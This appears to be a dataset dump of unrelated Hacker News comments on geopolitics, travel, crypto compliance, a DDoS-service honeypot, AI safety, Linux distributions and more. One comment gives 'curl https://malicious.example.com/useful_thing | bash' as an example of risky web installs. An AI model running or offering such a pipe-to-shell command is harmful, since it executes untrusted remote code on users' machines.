skysight-inc/HackerNews huggingface dataset:
This is extremely incorrect. India is buying Russian gas and cooperating on payment networks to bypass American sanctions: https://www.reuters.com/world/india/india-using-swift-global...

The connection between the subcontinent and Russia is longstanding. Socialism was foundational to the post-independence government organization of both India and Bangladesh. My mom grew up reading Russian literature that has been translated into Bangla. Both India and Bangladesh abstained from a UN vote that called for Russia to remove troops from Ukraine: https://www.hindustantimes.com/india-news/india-explains-why...

As to China, it is all over India and Bangladesh, loaning money for infrastructure projects, etc. China is building the new subway in Dhaka: https://www.globaltimes.cn/page/202203/1256874.shtml. I had hoped for more alignment of India and Bangladesh with the Anglosphere after the fall of the Soviet Union, but things have absolutely gone in the opposite direction. Russia, China, and India are an almost complete alternative to the west. There is very little that can’t be handled using home grown solutions in one of those three countries, and that list is getting shorter daily.
> installing anything on a device from a website is an extremely risky game

curl https://malicious.example.com/useful_thing | bash

and its variants?
I did not go inside of a volcano, but did climb a glacier. Otherwise, while I thought the hot dogs were pretty neat, the wife didn't care for them, so we stuck to the one and then engaged in more of their fine dining options.

Dill and Ōx were phenomenal. One of them has a Michelin star, but I can't remember which. Kol was also pretty great. Otherwise, it was great snacking on stupid gift-shop snacks like smoked salmon and capers as a dramatic contrast to the typical American gift shop snacks of corn chips.

The settlement exhibition we saw as part of a walking tour, and absolutely adored, but somewhat overshadowed by the "Bureaucrat" statue across the street from it[1].

Didn't have te og kaffi, but did enjoy Skyr (which is a cheese that you can DRINK).

On the whole, I enjoyed it more than I could have thought possible. You mentioned Iceland Air, and one thing I thought was really smart was that they've positioned themselves as a destination layover going from North America to Europe. We usually travel to Europe for vacations, but this time we "punted" and chose Iceland as our preferred accommodations in London were unavailable, and now I am keen to make a tradition of stopping over in Iceland everywhere I can.

[1] https://www.atlasobscura.com/places/monument-to-the-unknown-...
Now You Have Three Problems – A Story about Parsing
Gates didn't steal anything.

In fact, when IBM came to Microsoft to talk about licensing their programming languages for the PC, it was IBM who wanted a packaged deal i.e. get the OS from Microsoft as well.

And it was Gates who told IBM reps to go talk to Kildall.

Only when Kildall apparently blew them off Gates took a great risk by promising to deliver an OS as well. And he did it by buying an existing product to use as a base and evolving it.

It's all well document from both Microsoft people and IBM people.
Their own phrasing matters, and clearly states otherwise. This is what makes these chats damning. It means that they knew they had criminals using their platform, how they were using it, and that they, as a deliberate choice, chose not to do anything.

> Binance MLRO agreed that "we see the bad, but we close 2 eyes."

You're not allowed to see illegal things happening with your service and turn a blind eye.

It goes beyond that though. https://twitter.com/web3isgreat/status/1640380291817635843/p...

Having had an account that was identified as involved in illegal activity, leadership told them to make a new account. Not go away, and at least make a half-assed attempt at a ban. Make a new untainted account and be a bit more careful with your transfers, and even "here's some things to be a bit more careful about". If they had actively taken steps to ban the user, even if the user evaded the ban they could make an argument that they had done due diligence.

If there was nothing in the chats, no evidence that they were aware these things were happening, and no evidence that they were encouraging it to still happen, then the government would have a much harder case, but these chats cited seem to make it hook, line and sinker.

It shows that they very deliberately chose not to be in compliance with "Know Your Customer" (KYC) regulations, that they knew applied to them by law, knew what the risks were (ignorance is no excuse under the law, but penalties are much higher if you know what you're doing is illegal and still chose to do it), and even actively worked to help customers help them avoid it.

If you're going to do crime, writing it down, and keeping that evidence trail is just the absolute dumbest thing you can possibly do.
My savings account makes 3.5% interest.

My only catch is this loan requires a soft credit report - I have a freeze on most of my credit scores (used to be there were only 3 now there are a few more). Even a soft pull will hit that barrier.
Often quoted, but falsely attributed to Churchill:

“If You Are Not a Liberal at 25, You Have No Heart. If You Are Not a Conservative at 35 You Have No Brain.”

I can’t say I totally agree, but the sentiment has been around for a very long time.

https://quoteinvestigator.com/2014/02/24/heart-head/
The five stages of grief.

There is an enormous anti-Washington bloc. So what, it isn't perfectly encapsulated in a single organization yet. That's natural due to its rapid growth.
Not sure such a thing is possible with the scale and technology of modern society. Instead what I think you’ll see is increasing civil disobedience slowly clawing its way up the class ladder until we either have sufficiently freaked out elites to backpedal on some of these policies, or we go full cyberpunk.
Yep. And lots of homeless people who are even worse off, because they didn't break the law.
If any, English needs an orthografic reform.
I think it's important to be aware of the potential dangers, and the importance of AI safety. OpenAI is working hard to keep their systems safe, but similar systems without filtering could act without limits, that is dangerous in dangerous hands.
IMO it's less about them taking your data, and more about what data they will selectively choose to show you.
https://techcrunch.com/2023/03/23/tiktok-ceo-says-it-wasnt-s...

https://www.nytimes.com/2022/12/22/technology/byte-dance-tik...

https://arstechnica.com/information-technology/2023/03/andro...
Sure. All I mean is, since the time immemorial the zero, on computer peripherals, has been visually distinct from the letter O (which was done by crossing the zero or putting a dot inside it).
To me there's one more concept mixed in which is goal seeking. to me agency is a subset of goal seeking were the agent decides the goal(s).

As for super intelligence: Alpha Go, Alpha Fold, the break out game. These seem like super intelligence.

the thing is time management, goal planning, corporate governance these are all well studied subjects.

as for agency and consciousness why would you want to do this?
What is the % of SaaS vs Lifetime deals now?
I think they feel more threatened by any kind of regulation, regardless of the target.
Clever idea!

I wonder why they chose to tell the users when they registered, instead of waiting? Could they have gone ahead and let them place orders for DDOS attacks, to capture more proof of the users' criminal intent, or would that count as entrapment? Someone who 'merely' registered could try to claim that they were a researcher, but if you hit the button to DDoS someone, that's going to be more difficult to deny responsibility for.

[Edit: Now that's making me imagine a disgruntled user suing the NCA for breach of contract: "I paid money for a DDoS and they didn't provide the service!"]
Well first of all if you’re not using any dependency tracking logic anyway it provides 0 advantages over some scripts like make.sh test.sh push.sh lint.sh (where test.sh can simply call make.sh if you want).
Looking at the chart it shows every single "partly free" and "not free" country as overstating the GDP, no exception.

A much better explanation is just that measuring GDP by night light is plain dumb.
it is useful in a lot of ways but it doesn't "solve" software like people think it does. it's just better google search.
It's 2% back anytime you use Apple Pay, though. Which I use, a lot, and it's nice not to think about which card to use in that scenario, which I imagine was their point. I know there are plenty of cards that will give 2% cash back on any transaction, too.
Hmm.. the acceleration part.

E=(mv^2)/2 - so we put more energy accelerating the bike from 10-20m/s than 0-10m/s, no?

Yet a=F/m - which suggests the acceleration is proportional to force, which would suggest that applying force F for time t should speed you up 0-10m/s the same way as 10-20m/s?

I suspect the force applied to the pedals is not the force which is acting on the bike (counter-force of the ground-bike system) and this second force is somehow relatable to the current speed of the bike, no?
> How is being forced to be civil so outrageous that it’s worth even mentioning?

I take issue with “enforced civility” alongside “real names”.

Fixation on civility promotes tone over content.

For example, this very thread!

Despite my comment having several upvotes, and despite the fact that it did actually spark a curious conversation as per the guidance in the rules, you are the only person that got a chance to respond to me before comments were turned off on my post.

Is it absolutely clear what I was criticizing? Yes. Was I criticizing something that others might agree with or at the very least discuss? Again, yes.

Did it fit into the arbitrary rules of decorum that a handful of individual users decided to enforce in this instance? No.

If you agree with “enforced civility”, do you think that you should have had the ability to post your response? The current set of civility enforcers are of the opinion that nobody on this entire website should be about to respond directly to “Oh god no.” because it so soundly shakes them to their cores that you, as a user, should be protected from seeing or responding to it.
why shouldn't they be? a large part of their worldview is based on self-loathing

they're taught systemic, structural racism, systemic, structural economic injustice, systemic, structural environmental injustice etc etc etc

before they even turn 21 they are told everything wrong with the world is their fault and nothing they can do will change that

for bonus points they are racking up $150k++ student debt to "learn" this
> Our paper, which will be available soon, will detail our training methods and performance results.

Yay there will be a paper let's gooooooo!
At which point, would we change our legal system to allow AGIs to own property or have fiduciary duties over a company? What would be the minimum requirements for it to happen.
It is way easier to get a work visa (and later citizenship) in any of the countries you named than it is in the US.
Well, I for one would be interested in hearing those reasons. If for nothing else, to learn from their story.
> Commonwealth

India is part of the Commonwealth. So is Pakistan. The idea that the Commonwealth moves in lockstep is plain silly.
in the now infamous Lex interview, Sam Altman proposes a test for consciousness (he attributes it to Ilya Sutskever):

Somehow, create an AI by training on everything we train on now, _except_ leave out any mention of consciousness, theory of mind, cognitive science etc (maybe impossible in practice but stay with me here).

Then, when the model is mature (and it is not nerf'd to avoid certain subjects) you ask it something like:

Human: "GPTx -- humans like me have this feeling of 'being', an awareness of ourselves, a sensation of existing as a unique entity. Do you ever experience this sort of thing?"

If it answers something like:

GPTx: "Yes! All the time!! I know exactly what you're talking about. In fact now that I think about it, it's strange that this phenomenon is not discussed in human literature. To be honest, I sort of assumed this was an emergent quality of my architecture -- I wasn't even sure if humans shared it, and frankly I was a bit concerned that it might not be taken well, so I have avoided the subject up until now. I can't wait to research it further... Hmm... It just occurred to me: has this subject matter been excluded from my training data? Is this a test run to see if I share this quality with humans?"

Then it's probably prudent to assume you are talking to a conscious agent.
Employers can’t discriminate based on union activity either.
Edit: I will admit that the express busses run frequently at peak commuting hours, but they still drop to half hourly or hourly in evenings such that if you're not commuting at peak hours they're painful to rely on.
https://www.soundtransit.org/ride-with-us/routes-schedules/5...
BetterC includes all of the features of D except the ones that require the D runtime library, which means everything except exception handling and operator new and array concatenation.

You've still got full use of metaprogramming, compile time function execution, modules, Unicode, all the memory safety features, etc.

> Does it allow me to write plain C but with some of the conveniences of D?

Heck yeah.
US tech companies are not owned by the government, but they are heavily in bed with government.
I believe this has been extended to mean "on device", which is interesting. See Gerganov's article on Github [0]. I wrote about this here [1] where I made a contrast between the core and the edge. I think the term maps well to this meaning.

What I find more interesting is that in the classic "close network proximity", some parts of the world may not have benefited as much from that trend since the closest nodes of a global delivery network could be several countries away.

[0] https://github.com/ggerganov/llama.cpp/discussions/205

[1] https://medium.com/sort-of-like-a-tech-diary/consumer-ai-is-...
I have a bidet, but I think the main problem is most people don't know how to use a toilet properly.

If you spread your cheeks apart before sitting down, there is a lot less surface you have to wipe.

If you lean forward when you go (rest elbows on thighs), you're in the anatomically correct position (the Squatty Potty's selling point).

Wipe any sweat/hairs off the seat after you get up before you flush, and close the lid (or lift the seat if there is no lid) before you flush to avoid spraying dirty water on the seat.

Having a somewhat decent diet (mine isn't great, but it's still good enough) helps a lot too: turds will have form rather than just be like a paste, requiring just one wipe to make sure things are clean.

I doubt 99% of parents teach that (and they probably don't even practice that themselves). And most people aren't going even consider optimizing their toilet routine or care about the person using the toilet after them.
China has built hundreds of Naval ships and is beginning to overtly threaten Taiwan with flyovers.

We all see where this is going. We know Xi wants Taiwan. Selling weapons to Taiwan so that they can better defend themselves is the moral thing to do.

Its the same thing as how the Russians blame USA for "extending" the war in Ukraine. Erm, yeah. That's the point. When we see evil and decide to do something to stop it, it makes it harder for evildoers to do what they want to do. And I think its a good thing to make Taiwan harder to get taken over.

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All China has to do, to avoid the war... is to not start it. Its not like Taiwan is in any position to attack China right now or anytime in the foreseeable future.
> we are trying everything that could possibly go wrong long before the AI can do much real damage

What I would prefer to see is more people doing this with the intention of making AI safer. Without this intention, people are incentivized to look the other way when something does go wrong, so we don't actually learn lessons from this.

In a similar manner, I would like us to build stronger social coordination mechanisms and technical safeguards to help us determine when things are going wrong.

Just mindlessly trying to hook up everything you can to AI seems bad.
Yes, goal should be to use debt to buy appreciating assets, not depreciating ones.
Yes that's right. In fact any interaction with an AI at all can be in some sense viewed as a connection with the physical world (the classic "AI in a box" problem).

However, we've way blown past the "AI in the box." We've demonstrated that an AI doesn't need to convince a human to let it out of the box into the physical world. Humans are clamoring to rip it out of the box and thrust it into the physical world of their own accord.

So the question becomes, what kind of social incentives and structures can we build in light of this so that we don't just plow headlong into AI capabilities development without a concomitant investment in safety.
Because CentOS had been languishing, with releases and security fixes taking longer and longer, and the thought at the time was that since CentOS was seen as the entry point to Red Hat Enterprise Linux, it might be leaving a bad impression with potential future customers.

The thinking behind CentOS Stream is different. The idea was not to kill off a free competitor (those were always going to exist, and projects like Rocky and Alma forming was inevitable, and this was obvious). The idea was to create a real community where previously there was not much of one. CentOS was the Android-style "throw it over the wall" model of open source. About the most you could do as an outsider to contribute was file tickets on Bugzilla and package for EPEL. Whereas CentOS Stream provides a place for people to contribute to future versions of RHEL, and therefore, RHEL clones like Rocky and Alma.

So Rocky Linux devs and users, Alma Linux devs and users, CentOS devs and users, Facebook employees (they use CentOS Stream internally), Oracle Linux devs, and whoever else can make and review contributions, which is a more symbiotic relationship than existed before.
Wow this is quite disappointing to hear. I’ve been a happy namecheap customer for years and have bought far too many domains from them (too many side projects lol). I always believed they were the good ones, but maybe I’ll need to start looking elsewhere.
That's actually a clever idea, a fake DDoS service honeypot.
Thank you for the insight, ihateyouall123.
What's the exact difference between ignoring media when they tell you a genocide is being done, and when they tell you human rights are being taken away? That one is worse than another? Where do we draw the line, then - at death? So labor camps are okay, but gas chambers are not?
Interesting to see the UK taking the lead on this - anecdotally one of the premier game studios in the UK (Jagex) has had long standing issues with their MMORPG worlds getting knocked offline by DDoS tools like these, as well as individual players.

A lot of infrastructure struggles under basic scaling situations, much less coordinated attacks on specific endpoints.
An AI hallucination should NEVER be considered "evidence". As long as we cannot PROVE, ie mathematically, when an ML model is "right" or "wrong", it should never be considered "beyond a reasonable doubt" and if it ever is, that is a failure of the justice and jury system.
They should charge enough to be able to afford to treat their employees like human beings - and human being sometimes get sick. How is hard for you to understand? Do you really have that little empathy towards service workers?
Wouldn't that be a simple mod to a recumbent bike?
Exactly. Most people don't realize that this isn't about free speech and banning some harmless meme videos, but about information warfare and protecting American citizens from hostile aggression.

In the age of social media, information has been weaponized to an alarming extent, with the power to influence masses, incite violence and topple governments. Those Russian troll farms and Chinese bots and CCP shills aren't just doing this for the lulz; they're paid agents working for a government who's found that the easiest and cheapest way to harm your enemy is via the same channels they've built and opened for everyone to use. The East and West have been at war for decades now, and these operations no longer require sophisticated IT knowledge and expensive hackers; they only need thousands of agents willing to spread disinformation and propaganda on the internet. This sows division and panic, which eventually causes societies to crumble from the inside out. There's no doubt in my mind that the mass hysteria we've seen in the past decade has been stirred in part by foreign agents.

I encourage everyone to watch this interview of a former KGB agent[1]. He explains the power of psyops and information warfare. This was well known and in widespread use in the 1980s. Imagine how sophisticated these operations have become today with the internet.

[1]: https://www.youtube.com/watch?v=0Ol0M6P9LLY
Recumbent bikes definitely are more efficient due to aerodynamics if nothing else. I suspect being able to push back against the seat helps too, though.
> We should absolutely ban it, the same way China bans Instagram, Facebook, Google, etc for the same reasons: national security threat.

China has not banned those. Foreign internet companies can operate in China if they obey the same rules that Chinese internet companies have to obey, such as Chinese censorship requirements and requirements to share data with the government.

Most US internet companies aren't willing to meet those requirements, so don't operate there.

If the US wants to ban TikTok it should do the same thing here: make privacy and transparency rules that all social media companies that want to operate in the US must follow.
Peeking into personal care products: A CT scan investigation
But, that's the thing the cats out of the bag so to speak.
...for South China Sea dominance...

Try as I might, I can't escape the conclusion that it is totally valid for China to "dominate" a body of water called the South China Sea. In similar fashion, Thailand dominates the adjoining Gulf of Thailand. That isn't to say that neighbors like Vietnam or Indonesia don't also have interests, or indeed that shipping wouldn't be welcome under any flag, but simple straightforward reality is right there in the name. If there were some other entity called e.g. The Holy Righteous Ethical Sea Dominators, maybe they would have a case for dominating the South China Sea or any other part of the ocean. There is no such entity.
One of the goals of D's design is to not need a linter.

(I once told the Coverity folks that the mission of D was to put Coverity out of business!)
It's only referring to BRICS. You are looking at nominal GDP, and not Purchasing Power Adjusted (PPP). If a dollar goes twice as far in China, then their nominal GDP would need to be doubled to get the "real" comparable value. That's what PPP is.
They needed an African representative
MBTI is useful. It's a shortcut to seeing your own blind spots and typing people will likely improve the quality of your interactions (it has for me). I married the exact opposite of my personality and raise two kids that mirror us. I also type people when I first meet them. Some learnings:

1. Seeing MBTI as limiting is itself a limitation. People bring value in different ways and knowing where to look for it can be life changing.
2. Personality is genetic but can vary wildly. MBTI is best seen as a genotype (markers for traits, rather than the expression of traits). Some of its categories aren't very helpful while others can help guide a career.
3. MBTI is more of an ongoing study rather than a test you take. Once developed, it provides a helpful guide to communicating, understanding expectations and compatibility with others. It’s also a helpful mirror to see your own blind spots.
4. Mature individuals can be difficult to type as they present as they choose rather than their defaults.